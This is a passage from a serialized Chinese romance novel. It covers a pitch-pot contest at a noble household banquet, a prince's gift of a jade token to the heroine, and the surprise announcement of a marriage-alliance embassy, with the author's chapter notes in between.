“好胆量。”福佳公主轻嗤了声,接过宫女递来的箭羽,一箭稳稳投入壶嘴。 华姝面色不显,跟着一箭投入壶嘴。 福佳公主不以为意,旋即第二箭直插壶耳。有围观者叫好,她微扬起下巴。 华姝紧随其后,箭插壶耳。 福佳公主微微皱眉,瞧了眼旁边的霍玄,转而拿起剩余两只箭羽,同时抛向了铜壶。很不幸,一只箭入耳,一只箭落空。 她烦躁地用鞋尖碾碎一枚枯叶。 但令她更烦躁的是,华姝竟然也是一只箭入耳,一只箭落空! 有秋风吹过,绸缎般的木芙蓉花瓣,也轻轻摇落。 霍千羽率先反应过来,欣喜看向华姝,“平局!” 其余人的目光,也纷纷投向华姝。原先或鄙夷、或同情、或担心的眼神,都不禁开始刮目相看。 明眼人都瞧得出,这姑娘是藏拙了。 冯衡更是带头鼓起掌来,“好!” 华姝仍是恭谨谦卑:“多谢公主承让。” 福佳公主却是气得瞪她,娇声染怒:“好啊,你竟敢……”耍我?! 突然这时,不知谁先惊呼了声“王爷”,大伙的注意力纷纷转向身后—— 作者有话说:我来了,我来了 我带着1.5万字赶来啦~ 今天的评论区,依旧掉落红包[撒花] 第36章 他当众捏住了她指尖…… 华姝也循声看过去。原来霍霆不知何时驾临, 负手伫立在拱门前,欣赏完了整场比试。 他头戴龇牙怒目的虎贲金冠,身着一袭束腰的玄色蟒纹锦袍,比平日里更添冷肃之势。 单单立在那里, 不怒自威。 福佳公主惊惧地向后缩了两步, “镇、镇南王?他怎么来了……” 华姝悄瞧她一眼, 心中微有讶异,没想到金尊玉贵如公主, 见到霍霆亦如霍华羽那般紧张无措。 不过想想也是,山中初见他那会…… 华姝轻甩了甩头,推着霍千羽走近,才发现霍霆的身侧除了那位白发老者,身后的拱门外还有好些个朝廷大员,霍雲三位叔伯也在。 以及,山中与她相处过大半月的十二罗汉将军。个个虎背熊腰,不怒自威。好在他们大多都与身旁的官员交谈着什么,像是没发现她。 唯独萧成, 目光越过人群瞧过来, 趁人不备, 朝她迅速扮了个鬼脸。 逗得华姝啼笑皆非。 结果余光一扫,蓦地撞见霍霆的眼底, 黑沉深邃如渊, 令她眼皮不由得跳了跳, 默默低眸去瞧脚边的枯叶。 华姝所站位置, 正是一群女郎们的聚集地。 见霍霆望向这边,十几颗芳心不禁跃跃而动。她们左右环顾,想辨认他是在瞧谁。 第一反应肯定是韶华公主, 可公主这会在千竹堂陪着老夫人说话呢。 ——那还能有谁? 可惜再想细瞧时,冯老太师已先一步发话,朝冯衡吩咐:“快过来叫人。” 霍霆遂收回目光,缓声问:“这是您的……?” “幼子之子,家中老幺。”冯老太师隔辈亲,语气中尽是慈爱。 霍霆又瞧了眼冯衡,“刚见你与玄儿立在一处,可是同窗?” 冯衡一改先前的嬉皮笑脸,局促拱手道:“回王爷,正是。小侄今年恬、恬居榜眼之位。” 霍霆淡淡颔首:“年少有为,皆是我大昭的可塑之才。” 原是嘉奖之言,冯衡却忍不住红了耳根,“小侄十八岁方中进士,真论起年轻有为,王爷十五岁高中,才是吾等后辈之楷模。” 榜眼都如此自惭形秽,让在场无数落榜的世家公子,更是羞愧得接连埋低头。 恰巧有几人刚对华姝嗤之以鼻,此刻霍千羽瞧着他们的狼狈样,别提多解气了。 冯老太师见状,笑呵呵打起圆场:“你们倒也不用都跟澜舟比,像他这等小怪物,百年难遇一个。” 众人忍俊不禁。 霍霆也笑了笑,伸直手臂朝向膳厅的门口,“老师,咱里面坐吧。” 说话间,他余光又朝华姝的方向扫了一眼,见人从府外全须全尾回来了,便暂时安下心,在众星捧月之中率先走进膳厅。 今日宾客众多,膳厅安排两人一席。 霍霆与冯老太师自是高坐主位。紧挨着的下方,分别是老夫人和两位公主的席位。 再下方,则是按照官位、辈分等排列官员极其家眷。 霍雲乃正五品官职,华姝和霍千羽坐在他的后方,位置已是相当靠后了。 有霍霆在,每个人都不自觉正襟危坐。整个膳厅的气氛,显得紧张而凝重。 见底下一个个宛如上刑,霍霆失笑:“还有小半个时辰才开席,你们不必都掬在这,刚刚在做什么就还去做什么。” 长辈们倒也还好,年轻人聚到一起总爱热闹些,闻言,开始有人陆续起身。 今日有好些朝廷重臣和世家贵妇列席,不乏少年少女们想借此展现一二分才情,为自己谋个好前程。 经有心者提议,投壶改至膳厅门口。 大伙两两结伴比试,因着华姝刚小露了一手,好几位贵女都主动前来相邀,而身侧的霍千羽却无人问津。于是她一一婉拒,专心陪着表姐谈笑。 没多久,冯衡竟也走了过来,“刚见华姑娘投壶技艺绝佳,可否切磋一二?” 不等华姝开口,二老爷霍霄先沉脸回头道:“贤侄,我这侄女一介女子,怎能与你切磋?” 苍峰阁才因着华姝的流言闹得鸡飞狗跳,今日宴席又逢二夫人操办,霍霄可不想再出什么岔子。 冯衡却不以为然:“能在回春堂诊治将士,怎么就不能与我比试?” 霍霄明显一噎。毕竟事实摆在那,华姝那段日子的风评还颇有好转。 他无可辩驳,冷冷瞥了霍雲一眼。 霍雲夹在中间,颇为头疼:“贤侄,你自幼习武射箭,而我家侄女却养在深闺。纵然她投壶有些造诣,恐也实力悬殊。你还是去与玄儿他们比试为好。” “我倒觉着,”冯衡眼珠子一转,朝霍霆拱手扬声道:“自古将门无犬女,还请王爷准允我与华姑娘一较高下。” 此话一出,惹得众人齐刷刷瞧过来。 冯老太师弄清前因后果,先笑骂一嘴:“臭小子,就你那点小计谋,也好意思在你叔父跟前班门弄斧?” 霍霆倒是没恼,不疾不徐放下手中茶盏,朝下方扫视过去。 此时,年轻人多聚集在膳厅门口,包括霍华羽和阮糖。 以至于角落里,两人结伴而坐的身影稍显冷清。 但思及华姝那日在马车内的伤感回忆,霍霆不难看透内情。 略过无数投过来的目光,他光明正大对上她的眼眸,“姝儿自己怎么想?” 华姝迟疑地站起身,一时辨认不出这人是好意征询,还是假意试探。 今日本就与他欠下帐了,回头若再将此事算作新账,她如何能招架得了呢? 可若拒绝,此刻厅内的人全看过来了,不免会拂了冯老太师的颜面。 思来想去,华姝面露一丝苦闷。 霍霆坐在上首瞧得分明,缓了缓,他道:“我霍府的姑娘,都能有所为有所不为。投壶这等小事,顺心而为便是。” 他补充:“至于冯贤侄,不论他与何人比试,本王都出一处东市的三层铺子作彩头。如此,你们年轻人玩起来也欢快些。” 这番做派,让霍霄两人不由汗颜。 冯老太师等人赞许点了点头。 冯衡则愈加兴奋看向华姝,“华姑娘,如何?” 霍千羽听得两眼冒光,“姝儿,你不用顾忌我,想去就去吧。咱回头正好拿这铺子开医馆呀。” 华姝不经意间,对上福佳公主那嗖嗖射来的眼刀子,其实有点望而却步。 可再瞧瞧霍千羽比刚刚不知鲜活了多少倍的小眼神,她忽而心生一计:“不若,咱们来一场双人对决吧? 冯衡愣了下,转而开怀一笑:“好啊,我竟是未想到。如此变数更多,玩起来也更有趣。” 而且还规避掉了流言蜚语。 他重新打量起面前的姑娘,不仅容貌秩丽,还如此聪慧过人。也难怪连霍玄那根木头都对她念念不忘。 主位上,冯老太师和霍霆也相视一笑 膳厅门口处,就更热闹了。 有趣又难得的机会,谁都想参与。 世家公子们纷纷朝冯衡毛遂自荐:“泽林,选我。”“别选他,让我来。”“冯七,我准头高,咱一起……” 贵女们要矜持些,但看华姝的眼神全亮晶晶的。 就连霍霄,都下意识看向霍华羽。 霍华羽更是自信地上前一步。 正所谓肥水不流外人田,霍千羽瘫着,华姝可不就该选她嘛。 怎料欢闹中,响起一声温柔的询问: “千羽表姐,你愿意跟我一组吗?” 姑娘家的声量很轻,却击中了很多人的心。 不乏官场浮沉半生的老臣,为此动容 二老爷霍霄开始重新审视华姝,暗叹这孩子的胸怀难得,难怪能让澜舟动用雷霆手段,满城扼杀流言。 可澜舟如何早早知晓? 必是住得近的缘故,霍霄笃定地想。 至于大老爷霍雲,四十不惑的年岁,这会竟有些眼眶发酸。 一时间,膳厅安静下来。 片刻后,才响起一道很不能确定的询问声:“姝儿,你让我、我跟你一起投壶?” 霍千羽一直都知道,华姝处处都为她着想。但这会,还是被意外到了。 她双腿有疾,玩投壶虽没旁人揣测的那般不济,但较正常人而言肯定多有不便。 今日毕竟是重大宴席,她原以为能在一旁为华姝加油鼓劲就挺开心的了,没想到…… 霍千羽抬头看向门口的箭匣和壶瓶,眼神难掩灼热。可再低头瞧瞧自己的双腿,眼神黯淡下去,“要不,你还是让华羽陪你一起吧。” 华姝:“那……我就只能跟她一起去开医馆咯。” “那可不行!”霍千羽回过味来,狠狠一咬牙:“成,比就比!” 华姝忍俊不禁,“好,我们一起努力。” 世人大多偏见,看霍千羽有腿疾就认定她不能玩投壶。殊不知她私下里,曾偷偷练习过上百回上千次。 甚至连大夫人,也觉得霍千羽此生嫁不出去了。所以更偏好华姝当儿媳,这样能善待霍千羽一生。 可华姝知道,表姐只是金子蒙尘,只差一点展现的机会,便能大绽光彩。 她推着霍千羽,一步一步走到人前,站定在箭匣的旁边。 冯衡已先一步等在这,选了他表兄蒋骁作队友,“我俩适才商量了下,无论输赢,这间铺子都与你俩所有。” “不用,我俩能赢!” 霍千羽骄傲地扬起头。 既然答应下来,她自当全力以赴。 华姝也点点头,以掌指向对面箭匣,“两位,请吧。” 冯蒋两人相识一眼,冲她们抱拳:“请。” * 赛制是一人四箭,总筹数多者为胜。 其中射入壶口算一筹,贯耳为双筹,双耳为六筹,倚竿则是一次性计十筹。 秉着公平原则,上半场由冯蒋先投,下半场换两个姑娘先。 “那就我先来吧。”蒋骁当仁不让,上来就是一箭贯耳。 统算者:“计两筹——” 这给霍千羽造成不小的心理压力,第一箭,投偏了。 统算者:“空筹——” 围观的人,不由面露失望。 华姝握了握她肩膀,“没关系,才第一箭。” 霍千羽抿紧唇,“嗯。” 第二箭,蒋骁随手又是一箭贯耳。 统算者:“共计四筹——” 霍千羽举起箭,反复瞄准壶耳,然后深吸一口气,猛地掷了出去。 统算者:“计两筹——” 霍千羽兴奋地拉着华姝的手,“中了!中了!这次中了!” 华姝欣然而笑,连连点头回应她。 围观的人,开始微有诧异。 心说,这两位姑娘还真不是意气用事。 当然,也有人迟疑这纯粹巧合罢了。 反正,蒋骁是重视起这位对手了。 他没再手下留情,直接举起剩余的两支箭,一齐射中双耳。 统算者:“共计十筹——” “六筹,不错啊。” “左右手都要顾及到,准头可以。” 围观的人群,不时惊叹谈论。 到了霍千羽这边,她不免有些游疑。 比分差距太大,她一支一支地投肯定没胜算。可若两支一起投,又怕会再投空。 华姝瞧在眼中,想了想,道:“王爷刚刚不是才说过么,顺心而为便是。” 霍千羽闻言,下意识抬头望向主位。 霍霆原本正听萧成附耳汇报着什么,察觉到门口的目光,侧脸看来。 距离较远,他听不清她俩对话,目光微转,朝华姝露出一道“这个时候,都能提及我?”的意味神情。 华姝脸颊一热,低头佯装着抽出一支箭。 霍霆但笑不语。 萧成环顾两人几圈,大嘴吧咧到耳后根,神似一只偷吃到甜瓜的牧羊犬。 门口这边,霍千羽终于打定主意,也举起剩余两箭,一齐投了出去。 不幸的是,只中一支。 统算者:“共计四筹——” 统算者:“下半场,轮换——” 霍千羽长叹口气,“姝儿,接下来就只能看你的了。” 华姝若有所思,没说话。 而她接下来的举动,再次震惊了不少人。 包括霍千羽,她看着面前递过来的两只箭,张了张嘴,又张了张嘴,连连摆手:“我不行的,这样只会让比分差距更大。” 华姝笑了笑,目光温柔:“再试一次,我相信你这次肯定能投中。” 霍千羽:“可万一我投不中呢?” 华姝:“请相信我的眼光,好嘛?” “……好。” 霍千羽心里几番挣扎,在华姝期待的注视中,缓缓接过那两支箭。 华姝绕到轮椅后面,半屈膝,为霍千羽仔细审量投掷的角度、手腕的高度。 这个姿势,这些要领,这般悉心……她脑海不自觉闪过山里的一些零碎画面。 不算旖旎,但挨得很亲密。鼻尖满是萦绕着他清凛迫人的气息。 蛮严厉的一位师父,如果她稍有走神,还会被小木棍打手心。明明眼疾未愈,也不知是怎么发现的。 反正那时候的他,白日与晚间总是两副面孔…… 华姝脸颊又一烫,她没敢再回头看,却不知错觉与否,似有一道存在感极强的目光从主位那边投了过来。 他,是不是也想到了呢? 华姝一瞬回神,专心为霍千羽审量一番,直起身,“都很好,投吧。” “嗯!”霍千羽稳了稳心神,重新提起一口气,紧紧盯着那对双耳,再次双箭齐发—— 只见一箭顺利贯耳,另一支箭却撞在了细细的耳环上。 但是,箭头的方向仅是微有偏转。 然后贴着壶身外壁,缓慢的…… “滑进去了!”有人不禁欢喜低呼。 冯衡惊喜:“险象环生啊,刺激!” 蒋骁也走过来,由衷祝贺他的对手。 就连统算者,都小小兴奋了下:“双耳同贯!此计六筹!共计十筹——” 这时,有人带头鼓起掌来。 众人回头一看,原是大老爷霍雲,在亲自为女儿喝彩呢。 霎时间,周围掌声接连响起。 虽说还未出比试结果,但这何尝不算作一次很有纪念意义的胜利呢? 不止是投壶,更胜在一份心劲。 霍千羽望着大家的真心祝贺,不禁喜极而泣,她将脸埋进华姝腰间,闷闷地哽咽道:“姝儿,我真的做到了。” 头一次在这么多人面前,堂堂正正证明了自己。 她霍千羽,霍家的大小姐,虽然双腿有疾,但她才不是一个废物呢! 天道酬勤,以后她做什么事都不会比常人差的! 华姝拍了拍她的背,欣然一笑:“嗯,我相信你下次还会做得更好。” 她笑容淡淡的,却莫名感人。 两个小姐妹的真挚情谊,更不知感染了在场多少人。 但福佳公主瞧着这一幕,无比刺眼。 她抱臂冷哼,比分拉开那么大,得意什么呀? 霍华羽也是阴沉着脸,抿唇心想,若是换作她上场,表现得定比这好。 保不准,还能投中一次倚竿呢。 接下来,比试继续。 冯衡不敢再像蒋骁那般随意,上来直接双箭入耳 统算者:“共计十六筹——” 然后,就轮到华姝了。 这是她本场的第一箭,备受瞩目。 包括霍霆在内,几乎所有人都停下手里的事,看向她。 只见那道海棠红色的纤挑身影,从箭匣抽出一支箭,举动半空,微微向前伏身,开始瞄准壶口。 有人不禁纳闷,难道她不该中双耳争取比分最大吗? 但转念一想,中双耳貌似也是必败无疑,除非是…… “倚竿!” 统算者高唱道:“共计二十筹——” 一段短暂的沉默。 望着那根半悬在壶口的箭,众人悠悠回神。 “追平了!” “居然一箭追平了?!” “这姑娘深藏不露啊……” 膳厅内气氛重新高涨起来。 霍千羽最为兴奋,差点都快手舞足蹈了,“姝儿,你真厉害!” 冯衡也赞叹:“我刚就说嘛,你这是将门无犬女。当然,”他转头看向霍千羽,“你也是啊。” “哈哈哈……” 在阵阵热烈的讨论声中,华姝的心头像被一根无形的丝线牵引着,还是忍不住看向主位,与这一切欢乐都密不可分的男人。 她一回头,就撞见他的眼中。 刚刚还冷肃冻住全场的凤眸,此刻弧长的眼尾上扬着,静静凝望她,专注、温柔、骄傲、赞许……轻轻颔首。 两人就这么遥遥对视一眼,只一眼。 没有只言片语,又好似千言万语。 有清风吹来,拱门前,那棵木芙蓉的花瓣纷纷扬落,伴着嫣红姹紫的秋菊,满庭飘香。 当然,“倚竿”对于自幼习武的冯衡来说,也是易如反掌,赢得满堂喝彩。 “倚竿!”统算者再次高唱:“共计二十六筹——” 然后,双方就来到了决胜之局。 华姝手持最后一箭,不敢有丝毫情敌,专注瞄准壶口,又是一记漂亮的投掷。 “倚竿!”统算者高唱:“共计三十筹——” 如此,冯衡的最后一投就甚为关键。 相差四筹,比分咬得很紧。 只剩一支箭,除了投中“倚竿”,他别无选择。 不过,众人都觉得这本就理所应当。 可意外的是,在悬入壶口的瞬间,箭尾又轻飘飘坠地了?! 华姝蛾眉微拧,定定看向他。 冯衡无奈摊了摊手,“唉呀,看来这倚竿也不是谁想投就能投的。”他挑眉一笑:“回头,你抽空教教我呗?” 华姝:“……” 最后,统算者高声宣布:“三十筹对二十六筹,霍大小姐和华家小姐胜——” 新一波的喝彩声,再次响彻膳厅。 对两位姑娘的欣赏目光,各有千秋。 冯衡再次抱拳:“巾帼不让须眉,受教了。” 华姝看破不说破,淡笑:“险胜。” 霍千羽更直接些,“下次可不准再故意让着我了。” 蒋骁笑着点点头:“一言为定。” 全场唯一强颜欢笑的人,莫过于霍华羽了。 福佳公主斜她一眼,慢悠悠靠过去,笑说:“华姑娘可真是深藏不露,医术和投壶都如此精湛,想必琴艺书画也样样不凡吧?” 霍华羽正在气头,脱口冷笑道:“哼,她也就这两样拿得出手了,女红乐器全都一窍不通!” 她说完才意识到来人是谁,慌忙转身告罪:“公……” 公主的身影已先一步远去,掩面低声同陈嬷嬷交代了两句,而后慢悠悠坐回席位,饶有闲情逸致地捻了几颗葡萄粒来吃。 几乎同时,坐于她上方的霍霆,岿然开口:“比试如此精彩,这彩头也没理由寒酸,你们二人且近前来。” 主位下方有台阶,霍千羽轮椅不便,她往前轻推了下华姝,笑嘻嘻道:“姝儿,你快些去吧,我看着你领!” 事已至此,华姝也不想再耽搁大家的功夫,落落大方走上台阶,朝霍霆盈盈一拜。 不知为何,这回离得近了,她反而不敢与他对视了。 世界仿佛一刹那安静。 只剩她和他两个人。 华姝双手交叠在身前,乖乖等着。 圆润小巧的耳垂,莫名泛起一丝粉意…… 霍霆瞧着她低眉垂眼的文静模样,耳边却响起濯缨来报她是如何翻墙揭瓦的,心里好气又好笑。 小骗子。 他倒不至于趁这会为难个小姑娘,从长缨手中接过那张铺子地契,又从腰间解开一块玉佩,托在掌心,递出去。 华姝羽睫微抬,“这是?” “双人对决,彩头自然也是双份。”霍霆神色如常地说道。 但坐在下方的萧成等十二位罗汉将军,皆是目瞪如铜铃,面面相觑。 ——是我眼花了吗? ——不是,老大他真给出去了啊。 ——说好的不近女色呢? 这玉佩可不是普通的物件。 更不止贴身之物那么简单。 那可是调度霍霆所有暗卫的令牌! 甚至,都只有最亲近的人才识得它! 而华姝,显得便是那唯一一位,跟霍霆亲近、却又不识得玉佩之人。 她信以为真,双手去捧接,依礼谢恩:“谢王爷赏……赐。” 指尖被捏住的刹那,她的心脏似也被人捏住,呼吸骤停。 这人,大庭广众之下…… 好在只是那么一下。 华姝忙不迭收回手,转身,在无数道目光中,状似面无波澜地走下台阶。 实则双脚好似踩在云端上,整个人头重脚轻,思绪被搅弄得飘乎乎的。 路过福佳公主时,她眼刀子愈加阴飕飕。 但华姝已经先被霍霆吓得魂飞魄散,福佳公主这些就变得小巫见大巫了。她佯装没瞧见,将两件彩头都交由表姐保管,两人重新回到座位。 而指尖那处,似还残留着男人霸道的体温,不争气地轻颤了两下。 耳畔回荡着他刚刚的话,仅两个人能听到的气音:“等会还有惊喜。” 但不待华姝探究,相继落座的宾客们,开始有人好奇相问:“适才观望华姑娘的投箭手法,倒颇有几分范式,不知师出何人?” 三老爷霍霈,若有所思地望向主位,“我瞧着姝儿这手法,怎么像是……” “常练习针灸罢了。” 华姝仓惶地轻声打断他,情急之下,她急中生智:“我主要是自学医术,师承百家,准头可能比旁人略胜一筹吧。” “这样么?”三老爷将信将疑。 等再想追问时,却被萧成突然抢先一步打断,只见他朝上首抱拳道:“听闻老大近日新得一匹千里驹,是不是,可否也,嗯……?” “你小子,”霍霆隔空点了点萧成,当场豪爽应下:“准了!” 膳厅的气氛,顿时又热闹起来。 毕竟能入得了战神法眼的宝马,那自然不是一般的成色啊。 一时间,大家都争相站起身。 排行十一的罗汉将军,杨靖申请出战:“这千里驹可是我寻回来的,得算我一个啊。” 三老爷罗霈跃跃欲试,“澜舟的那匹良驹不可多得啊,我也要来试试。” 就连长缨也坐不住了,“属下也斗胆一试。” …… 其实华姝四人之前比试下来,虽然过程曲折,但耗时不到一刻钟。 因而留给接下来这场角逐的时间,足足有两刻多钟。 一番商议后,定下八人七场比试, 皆是武艺精湛之辈,寻常的投壶比试就显得过于简单了。 于是相约上难度,蒙眼,背身,再加移动壶身。 比试过程,好不精彩! 一通高超的炫技较量下来,萧成凭着他贼鬼溜滑的小心机,力压其他七人,将千里良驹收入麾下,禁不住仰天大笑:“哈哈哈哈哈,痛快!” 围观者亦是看得无限快哉。 相较而言,华姝的那点手法就被大伙逐渐抛之脑后。 唯独那一人,意味深长的目光,偶然扫视过来。 四目相对瞬间,她眸光微怔,然后很快别过头去,佯装一心观望前方的比试。 不多时,又此地无银似的双手捧腮,遮住那微红的明艳脸蛋,也生涩直白地阻隔掉他的视线。 霍霆不以为意地端起酒樽,低头饮啜时,嘴角弧度无声放大。 这是恼上他了。 * 临近开席,老夫人在众人簇拥下缓步而来,赤金点翠的桂冠压着满鬓霜华。虽年华已逝,但面相富贵慈蔼。 左侧乃是韶华公主的凤驾,冰清玉洁的气质,亦是夺目出众。 大夫人随侍在右侧。身后除去一众侍奉,跟着阮糖等几位贵女,以及变相去躲清净的霍玄。 老夫人的到来,让原本热闹的氛围换作温馨,膳厅内亦是欢笑不断。 得知错过了华姝和霍千羽的精彩比试,老人家好一顿遗憾:“唉,应当派人去告知我的,唉呀……” 随后,她着人取来两套质地上乘的文房四宝,两套蝶翼衔珠的步摇翡翠头面,笑说:“都是好孩子,祖母都要奖励。” 大夫人也感动极了,各送四人一块羊脂白玉原石,祝福道:“良匠已成器,这块璞玉藉由你们自行雕琢吧。” 如此一来,冯老太师也发了话:“老夫今日来得匆忙,改日定也一齐给你们补上。” 四人接连道谢领赏。 其他人亦是笑得合不拢嘴。 霍玄也替家中两个姐妹,向冯蒋二人道谢:“改日天福酒楼,我做东,你们都来。” 福佳公主恨恨盯着霍玄那满面春风的笑意,一连饮尽好几盏闷酒:等会有你们好看的! 韶华公主端坐一旁,顺着她目光,注意到华姝。清冷的眸子,微露惊艳,但也转瞬即逝。 毕竟辈分在那摆着呢,韶华公主淡漠收回目光,不作疑虑。 二夫人操持完宴席一应杂事,姗姗而来。落座后,窝了好大一团闷气。她盯着霍华羽,低声斥道:“你是蠢的吗,不知道自己去争取?” 霍华羽自己也气不顺呢,低声反驳:“她俩一向交好,我能有什么办法?” 二夫人:“你……” “好了好了,不就几件赏赐么。”霍霄从旁说和:“回头我给华儿寻几件更好的,今日场合重大,别为这点小事失了分寸。” 二夫人竖眉:“我在乎的是赏赐?” 今日王公贵胄无数,正是给子女相看的好时候。这么一闹,只怕日后霍千羽那个瘫子的婚事,都得压霍华羽一头。 没瞧见么,刚刚领赏时,那蒋骁一连瞧了霍千羽好几眼。 那可是冯老太师的亲外甥啊!满燕京城多少千金贵女,挤破头都进不去的上乘门第! 二夫人越想越气,狠狠戳霍华羽的脑门,“以后你多跟她俩走动走动,出门参宴时都跟上,别整天就知道跟丫鬟们疯玩。” “知道了,知道了!”霍华羽冷脸敷衍道。 三夫人身侧的阮糖,亦是懊恼失策。 本以为今日宴饮,霍霆必定会与文臣武将们诸多交集。所以她就随着韶华公主,去千竹堂陪老夫人谈天,心想也能留下个好印象。 岂料,膳厅竟临时安排投壶,让华姝当众好一场风光! 王爷还主动赐予她贴身玉佩,想必心中对她满意更甚了吧? 阮糖瞧瞧专注喝甜浆酪的华姝,再望向谈笑自若的霍霆。两人目光鲜有交汇,俨然一副不熟的样子。 若非数日前二夫人突然被剥夺掌家权,她可真就信了! 阮糖紧紧攥着帕子,强行告诫自己冷静下来。 宴会未结束,就一切皆有变数。 之后宴席正式开始,美酒佳肴鱼贯而入,歌舞也陆续登台。 亦有民间杂耍,其中的幻术吞刀,更是让满座宾客拍案叫绝。 整场宴饮下来,可谓酒酣餍足。 直到《剑器舞》压轴登场,出岔子了 那名古筝奏乐的伶人,突见这等大场面,一时紧张,摔在门外台阶上,划破手指。 见血不吉利,二夫人沉下脸,命人将她匆匆带下去。 《剑器舞》顾名思义,显然是为霍霆这位战神,特设的精彩表演。 除了舞剑者英姿飒爽,配乐亦要铮铮有力、杀伐激昂。 如今缺了乐师,无异于缺了灵魂。 二夫人愁眉不展之际,阮糖瞅准机会,盈盈起身。 哪知,福佳公主抢先一步,开口提议道:“我前些日子恰巧刚弹过这曲子,诸位若是不弃,且由我试试吧。” 二夫人忙道:“公主金尊玉贵,这可如何使得?” 福佳公主笑说不碍事,“镇南王爷既是我的长辈,又为守卫我大昭的疆土鞠躬尽瘁,能向他献奏一曲,我深感欢慰。” 但紧接着,她话锋一转:“只是这曲子啊,古筝配合长笛奏演为最佳。”她笑吟吟看向华姝,“适才,瞧见月桂居挂有长笛,华姑娘可愿共奏一曲?” 华姝怔住。 上一瞬,还满眼欣赏福佳公主的霍家女眷们,也都怔了下。 阖府的人皆知,华姝和霍千羽幼时偏好画画,最不爱学女红、乐器,经常装病逃学被女夫子打手板。 要说月桂居会挂长笛,那多半是用来捣药的。 可公主当众说出这番话,谁又敢说她扯谎呢,那岂非打皇室的脸面? 霍华羽忽然想到什么,忙埋低了头。 “承蒙公主不弃,但华姝的长笛着实难登大雅之堂。”华姝起身婉拒。 福佳公主:“华姑娘谦虚了,你医术和投壶那般技艺精湛,若说不会长笛,恐怕在座没几人会信呐?” “不曾谦虚,确是技艺粗鄙。”华姝眼波微转,“在场诸多姊妹,皆是名满京城的才女。不若请公主另择适合人选吧。” 福佳公主却坚持:“你莫不是担心当众演奏有碍观瞻?咱可以屏风遮面的。” 人家公主都不嫌,华姝又怎敢? “民女不是此意,而是……” “那就这么说定了!” 福佳公主一锤定音,笑眯眯凝着华姝哑言错愕的样子,整个人一派天真烂漫。 以至于,在场很多人都一时难辨,她是真的年幼不知事,还是故意刁难人。 毕竟,是霍府的宴席出纰漏在先。公主肯主动站出来,亲自献艺,怎么看都像一番好意。 霍霆排兵布阵多年,一眼就看穿了她这等雕虫小技。 他眉峰微动,正欲交代长缨去私下安排,却见看门的小厮匆匆而来,“禀告王爷,宫中的魏公公来了。” 霍霆眉峰缓缓舒展,“请。” 厅内其他人茫然一瞬,转而想到,这魏公公乃御前太监,想必是来替圣上送赏赐的。 但转念又一想,不对啊,那两份赏赐眼下不就坐在上首主位了么? 思忖间,魏公公已手持一柄浮沉,带着两个小太监走进门。他涂抹白色脂粉的脸,冷漠瘆人:“杂家见过王爷,多有叨扰之处,万望王爷勿怪。” 霍霆:“来者皆是客,给魏公公看座。” “不必了。”魏太太抬手制止,转向右前方,冷着脸道:“杂家奉皇上口谕,召礼部尚书和侍郎大人即刻前往鸿胪寺。” “按仪制迎接,吐蕃的和亲使团。” 最后这句,他是对着霍霆说的。 却似平地一声雷,砸蒙在场所有人。 和亲?! 好一阵冗长的死寂。 众人如梦初醒,面面相觑后,不由得全看向上首的那两位公主。 大昭朝适龄婚配的公主,仅此两位。 韶华公主年长些,相对稳重些,仍安静坐在原处,但一惯清冷沉静的面容业已苍白如纸。 福佳公主则腾得站了起来,上一瞬还春光满面的她,此刻声音都在抖:“和亲?同谁和亲?!” 魏公公恭敬福身:“回公主,尚未定夺。” 然大局已定,这事瞒不住,也拦不住 福佳公主仓皇无措地转过头,看向身侧的小姑,眼神里充斥着不安、疑惑、挣扎、戒备。 韶华公主却未敌视于她,而转头看望上首的那位。 她一直都知道,这场赐婚为他所不喜。是以早就想好说辞,只待时机成熟就告知他,她婚后自当与他夫妻一体,齐心协力。 可惜,没机会了。 福佳乃皇兄的亲生女儿,而她不过一介宗亲孤女,和亲人选,不言而喻。 福佳公主却不敢托大,万一不是呢? 小姑可以嫁与霍霆作眼线,她则辈分不够。亲情和社稷,哪个对父皇更重要? 想到这,她整个人霎时瘫坐回去。 与此同时,膳厅内其他人的目光,也从两位公主身上转至霍霆。 外人诸多打量与探究。 霍家人心头微喜,但面上若无其事。 华姝要比旁人震惊数倍。 他那句“惊喜”,原是指…… 他竟真为了她,不惜对抗皇室天威? 不,也不尽然。 华姝若有所思,慢慢揣度着:这场婚事本质是朝堂上的权势对抗,儿女情长不过是掌权者的遮羞布罢了。 可一旦如此,圣上岂非更忌惮霍家? 这显然不符合霍霆的行事作风,华姝静静凝望着主位那人,他该是另有退路的吧…… 此刻此刻,霍霆正一手碾按着额头,一手握着酒樽,接连饮尽数杯烈酒,半晌都闷不吭声。 乍瞧上去,像极了未婚妻突然被抢走,而借酒浇愁的悲恸模样。 但在场的文武群臣混迹多年,谁都不傻,震惊之余不难猜到,此次和亲使团极有可能就是镇南王的手笔。 圣上赐婚是阳谋,和亲也是阳谋。 这场对决,着实骇人。 离得最近的冯老太师,作为三朝老臣,什么胆大包天的场面没见过? ……这场面他真没见过。 碍于人多口杂,他就一直瞪着霍霆,愤懑不满地瞪着。 这臭小子,简直是要反了天了! 霍霆看过来,认错态度端正,为冯老太师也斟满酒,浅浅碰杯。 然后用只有师生两人能听到的声音,一语双关道:“今日这盘棋,学生……险胜。” 冯老太师一听,白胡子都给气歪了—— 作者有话说:下一章就80%都是对手戏啦 甜甜的第一次约会[撒花] 预计也是万字肥章 而且,要开始给四叔解毒了(咳) 第37章 “会觉得我可怕吗?” 为避免被殃及无辜, 众臣借着礼部尚书和礼部侍郎离席的由头,也纷纷携家眷起身告辞。 霍家女眷跟着起身去送客,而后随老夫人一起回了千竹堂。 霍府不用再同时承受两位公主的威仪,大伙面上由衷欢喜。 毕竟没人愿意被儿媳、侄媳妇这等小辈, 一进门就强压一头。 但欢喜之余, 不免担心此举乃霍霆所为, 会引得圣上进一步动怒。 “朝廷之事错综复杂,咱后宅妇人诸多不知。一切以澜舟的意思为准, 他绝非意气用事之辈。” “至于府中,”老夫人特意瞧了二夫人一眼,“还是要上下戒严口风。” 二夫人脸色一晒,忙应是。 老夫人一碗水端平,之后又逐个敲打几句,而后顾念各房都忙了大半日,遂摆手让大伙回房歇着。 华姝照常同大房母女走在一起。 大夫人思及投壶的事,仍忍不住拉着华姝的手道谢,“大伯母真不知该怎么感谢你才好。” 据她说, 刚刚送宾客时, 这些年终于有人主动问询起霍千羽的婚事了, “我倒不指着她嫁人,能多交几个朋友也是好的。” “娘!”提及婚事, 大大咧咧的霍千羽罕见脸红了。 华姝忍俊不禁, 被大夫人问及还有什么想要的没, 她打趣说:“白术护主有功, 您给涨了月钱。如今我护姐有功,您也给我涨涨月钱吧。” 大夫人被逗笑:“涨,必须涨!” 几人欢笑一团, 然后各自回房。 